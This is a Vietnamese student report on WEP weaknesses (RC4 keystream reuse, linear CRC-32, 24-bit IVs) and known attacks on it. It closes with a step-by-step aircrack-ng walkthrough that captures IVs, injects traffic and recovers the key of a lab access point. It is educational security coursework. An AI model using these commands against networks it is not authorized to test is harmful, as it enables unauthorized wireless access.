Báo cáo tiểu luận môn an toàn mạng tìm hiểu WEP crack - Pdf 24

Môn học: An toàn mạng máy tính Đề tài: WEP Crack
Mục Lục
Trang
I. WEP 2
1. Giới thiệu về WEP: 2
2. Mã hóa và giải mã WEP 2
II. Vấn đề trong thuật toán WEP 3
III. Các cách tấn công 5
1. Tấn công thụ động 5
2. Tấn công chủ động 5
3. Tấn công theo kiểu từ điền 6
IV. Demo 7
Tài liệu tham khảo 13
SVTH: Trần Minh Tính & Phạm Hoài Phước 1
Môn học: An toàn mạng máy tính Đề tài: WEP Crack
I. WEP
1. Giới thiệu về WEP:
WEP (Wired Equivalent Privacy) là một thuật toán mã hóa sử dụng quá trình
chứng thực khóa chia sẻ cho việc chứng thực người dùng và để mã hóa phần dữ liệu
truyền trên những phân đoạn mạng Lan không dây. Chuẩn IEEE 802.11 đặc biệt sử
dụng WEP.
WEP sử dụng một khóa bí mật chia sẻ giữa các máy trạm trong mạng LAN
không dây (WLAN) và access point (AP). Khóa bí mật này dùng để mã hóa các gói
dữ liệu trước khi chúng được truyền, và một quá trình chứng thực được sử dụng để
chắc chắn rằng gói dữ liệu không bị thay đổi trong quá trình truyền.
2. Mã hóa và giải mã WEP:
a. Mã hóa:
Quá trình mã hóa WEP mô tả theo hình sau:
WEP Encryption Process:
Để mã hóa một 802.11 frame, thực hiện theo các bước sau:
- Tính toán 32-bit integrity check value (ICV) cho frame data, hay còn gọi là

II. Vấn đề trong thuật toán WEP
WEP sử dụng thuật toán mã hóa RC4, thuật toán mã hóa dòng. RC4 tạo ra một
key ngẫu nhiên gọi là keystream. Bên gửi sẽ thực hiện XOR keystream với plaintext
SVTH: Trần Minh Tính & Phạm Hoài Phước 3
Môn học: An toàn mạng máy tính Đề tài: WEP Crack
để tạo ra ciphertext. Bên nhận có một bản sao key và sử dụng nó để tạo ra một
keystream đồng nhất. XOR keystream với ciphertext sẽ tạo ra plaintext ban đầu.
Quá trình hoạt động này làm cho thuật toán mã hóa dòng có thể bị tấn công
với một vài kiểu tấn công. Nếu kẻ tấn công đảo bit trong ciphertext, sau đó giải mã
thì những bit tương ứng trong plaintext có thể được mở ra. Hơn nữa, nếu người
nghe trộm nhận 2 ciphertext mã hóa cùng keystream, điều này có thể có được phép
XOR giữa 2 plaintext. Hiểu rõ về phép XOR này có thể tạo ra bảng thống kê tấn
công để tìm ra plaintext.
WEP chống lại những tấn công này. Để chắc chắn gói dữ liệu không bị thay
đổi trong quá trình truyền, nó sẽ sử dụng Integrity Check(IC) trong gói dữ liệu. Để
tránh mã hóa 2 ciphertext với cùng một keystream, một vector khởi tạo
Initialization Vector (IV) được sử dụng để làm tăng thêm tính bảo mật của key và
tạo ra key RC4 khác nhau cho mỗi gói dữ liệu. Những IV này cũng nằm trong gói
dữ liệu. Tuy nhiên, cả hai biện pháp thực hiện không chính xác, kết quả là bảo mật
kém.
Phần integrity check được xem như CRC-32 checksum, một phần mã hóa của
packet. Tuy nhiên, CRC-32 là tuyến tính, có nghĩa là có thể tính toán sự khác biệt
của 2 bit CRC dựa trên sự khác biệt của trong những thông điệp mà họ truyền. Nói
cách khác, đảo bit n trong thông điệp trong một tập hợp các bit CRC có thể tạo ra
chính xác checksum trên thông điệp thay đổi. Bởi vì đảo bit thực hiện sau khi giải
mã RC4, điều này cho phép người tấn công đảo bit tùy ý trong thông điệp được mã
hóa để điều chỉnh chính xác checksum để thông điệp kết quả xuất hiện hợp lệ.
IV trong WEP có 24bits, được gởi trong phần cleartext của message. Như vậy,
lượng nhỏ IV đảm bảo sử dụng lại của cùng một keystream. Một access point bận
rộn luôn luôn gởi 1500 byte packets ở tốc độ 11Mbps, sẽ dùng hết lượng IVs sau

tấn công chặn ra những mã hóa của thông điệp của anh ta gửi qua 802.11, lúc đó
có thể giải mã được tất cả những gói tin có cùng IV.
2. Tấn công chủ động:
Có hai kiểu: tấn công để chèn vào giữa sự lưu thông (attack to inject traffic)
và tấn công cả hai đầu ( attack from both ends)
a. Attack to inject traffic: Theo kiểu tấn công này thì hướng tới kết quả của
vấn đề được mô tả ở trong phần trước. Giả sử người tấn công biết được
chính xác được mã hóa trong thông điệp. Người đó sẽ dùng sự hiểu biết
này để tìm ra chính xác những packet đã được mã hóa. Thủ tục đòi hỏi
tạo một thông điệp mới, tính toán CRC-32, và thực hiện lật bit trên thông
SVTH: Trần Minh Tính & Phạm Hoài Phước 5
Môn học: An toàn mạng máy tính Đề tài: WEP Crack
điệp gốc được mã hóa để thay đổi plaintext cho thông điệp mới. Thuộc
tính cơ bản là RC4(X) xor X xor Y = RC4(Y). Gói tin này sẽ được gởi tới
access point hoặc các máy trạm trong mạng và nó sẽ được chấp nhận như
là một gói tin hợp lệ.
Một thay đổi nhỏ làm cho cách tấn công này thêm nguy hiểm. Mặc dù
không có đầy đủ hiểu biết về gói tin, có thể lật những bit đã được chọn
trong thông điệp và thiết lập thành công CRC được mã hóa để tìm được
chính xác bản được mã hóa của gói tin đã được thay đổi. Nếu người tấn
công chỉ biết một ít thông tin nội dung của gói tin, người đó có thể chặn
nó ra thực hiện sửa đổi trên nó. Ví dụ, có thể thay đổi lệnh được gởi trên
telnet, hoặc tương tác với file server.
b. Attack from both ends: Cách tấn công trước có thể mở rông hơn nữa để
giải mã lưu thông tùy ý. Trong trường hợp này, người tấn công thực hiện
dự đoán về không phải nội dung, đúng hơn là về tiêu đề của gói tin.
Thông tin này thường dễ dàng tìm ra hoặc đoán ra, tất cả những gì cần để
dự đoán là địa chỉ IP đích. Trang bị với kiến thức này, người tấn công có
thể lật những bit thích hợp để thay đổi địa chỉ IP đích để gởi gói tin tới
máy mà người đó điều khiển, một nơi nào đó trên Internet, và chuyển nó

Bước 1: Start the wireless interface in monitor mode on AP channel
Mục đích của bước này là chuyển card sang chế độ được gọi là monitor mode(nghe
ngóng hay giám sát). Monitor mode là chế độ mà card của bạn có thể bắt mọi
gói tin. Thông thường thì card của bạn chỉ bắt được các gói tin gửi tới bạn.
Bằng cách nghe ngóng mọi packet, sau đó chúng ta có thể chọn một vài
trong số đó để chèn. Chỉ có chế độ monitor thì mới cho phép chèn packet.
Đầu tiên, stop ath0:
airmon-ng stop ath0
Hệ thống sẽ trả về:
Interface Chipset Driver

wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP
destroyed)
Gõ “iwconfig” để chắc chắn rằng không có giao tiếp athX nào. Chúng ta sẽ thấy
như sau:
lo no wireless extensions.

eth0 no wireless extensions.

wifi0 no wireless extensions.
SVTH: Trần Minh Tính & Phạm Hoài Phước 7
Môn học: An toàn mạng máy tính Đề tài: WEP Crack
Nếu vẫn còn giao tiếp athX nào, thì stop từng cái một. Khi hoàn thành, gõ lại
“iwconfig” để kiểm tra lại.
Bây giờ, gõ dòng lệnh sau để start wireless card trên channel 9 trong chế độ
monitor:
airmon-ng start wifi0 9
Thay thế số kênh của card wireless bạn đang chạy vào số “9” trong câu lệnh trên.
Điều này rất quan trọng. Card wireless của bạn phải nối vào một kênh của

với:
• -9 : injection test
• -e : wireless network name
SVTH: Trần Minh Tính & Phạm Hoài Phước 8
Môn học: An toàn mạng máy tính Đề tài: WEP Crack
• -a 00:14:6C:7E:40:80 : access point MAC address
• ath0 : wireless interface name
Hệ thống sẽ trả về:
09:23:35 Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel
9
09:23:35 Trying broadcast probe requests
09:23:35 Injection is working!
09:23:37 Found 1 AP

09:23:37 Trying directed probe requests
09:23:37 00:14:6C:7E:40:80 - channel: 9 - 'teddy'
09:23:39 Ping (min/avg/max): 1.827ms/68.145ms/111.610ms Power: 33.73
09:23:39 30/30: 100%
Bước 3: Start airodump-ng to capture the IVs
Mục đích của bước này là để bắt lấy những IV được tạo ra.
Mở một cửa sổ console khác để bắt những IV được tạo ra. Gõ vào:
airodump-ng -c 9 bssid 00:14:6C:7E:40:80 -w output ath0
với:
• -c 9 : the channel for the wireless network
• bssid 00:14:6C:7E:40:80 : the access point MAC address. This eliminate
extraneous traffic.
• -w capture : file name prefix for the file which will contain the IVs.
• ath0 : the interface name.
Trong lúc injection đang diễn ra, màn hình sẽ trông như thế này:
CH 9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25

18:18:20 Sending Authentication Request
18:18:20 Authentication successful
18:18:20 Sending Association Request
18:18:20 Association successful :-)
Hoặc:
aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h
00:0F:B5:88:AC:82 ath0
với:
• 6000 - Reauthenticate every 6000 seconds. The long period also causes keep alive
packets to be sent.
• -o 1 - Send only one set of packets at a time. Default is multiple and this confuses
some APs.
• -q 10 - Send keep alive packets every 10 seconds.
Và kết quả như sau:
18:22:32 Sending Authentication Request
18:22:32 Authentication successful
18:22:32 Sending Association Request
18:22:32 Association successful :-)
18:22:42 Sending keep-alive packet
18:22:52 Sending keep-alive packet
# and so on
Một ví dụ thất bại chứng thực như sau:
8:28:02 Sending Authentication Request
18:28:02 Authentication successful
18:28:02 Sending Association Request
18:28:02 Association successful :-)
18:28:02 Got a deauthentication packet!
18:28:05 Sending Authentication Request
SVTH: Trần Minh Tính & Phạm Hoài Phước 10
Môn học: An toàn mạng máy tính Đề tài: WEP Crack

capture data for this one AP.
• output*.cap selects all files starting with “output” and ending in ”.cap”.
Để sử dụng phương pháp FMS/Korek, mở một cửa sổ console mới và gõ:
aircrack-ng -K -b 00:14:6C:7E:40:80 output*.cap
SVTH: Trần Minh Tính & Phạm Hoài Phước 11
Môn học: An toàn mạng máy tính Đề tài: WEP Crack
với:
• -K invokes the FMS/Korek method
• -b 00:14:6C:7E:40:80 selects the one access point we are interested in. This is
optional since when we originally captured the data, we applied a filter to only
capture data for this one AP.
• output*.cap selects all files starting with “output” and ending in ”.cap”.
Trong thời gian ngắn WEP key sẽ được tính toán và trả về. Bạn cần xấp xỉ 250.000IV cho
64-bit key và 1.500.000IV cho 128-bit key. Nếu sử dụng phương pháp PTW, bạn sẽ cần
khoảng 20.000 packets cho 64-bit và 40.000 đến 85.000 packets cho 128-bit key.
Kết quả sẽ như sau:
Aircrack-ng 0.9 [00:03:06] Tested 674449 keys (got 96610 IVs)

KB depth byte(vote)
0 0/ 9 12( 15) F9( 15) 47( 12) F7( 12) FE( 12) 1B( 5) 77( 5) A5( 3) F6(
3) 03( 0)
1 0/ 8 34( 61) E8( 27) E0( 24) 06( 18) 3B( 16) 4E( 15) E1( 15) 2D( 13) 89(
12) E4( 12)
2 0/ 2 56( 87) A6( 63) 15( 17) 02( 15) 6B( 15) E0( 15) AB( 13) 0E( 10) 17(
10) 27( 10)
3 1/ 5 78( 43) 1A( 20) 9B( 20) 4B( 17) 4A( 16) 2B( 15) 4D( 15) 58( 15) 6A(
15) 7C( 15)


Nhờ tải bản gốc

Tài liệu, ebook tham khảo khác

Music ♫

Copyright: Tài liệu đại học © DMCA.com Protection Status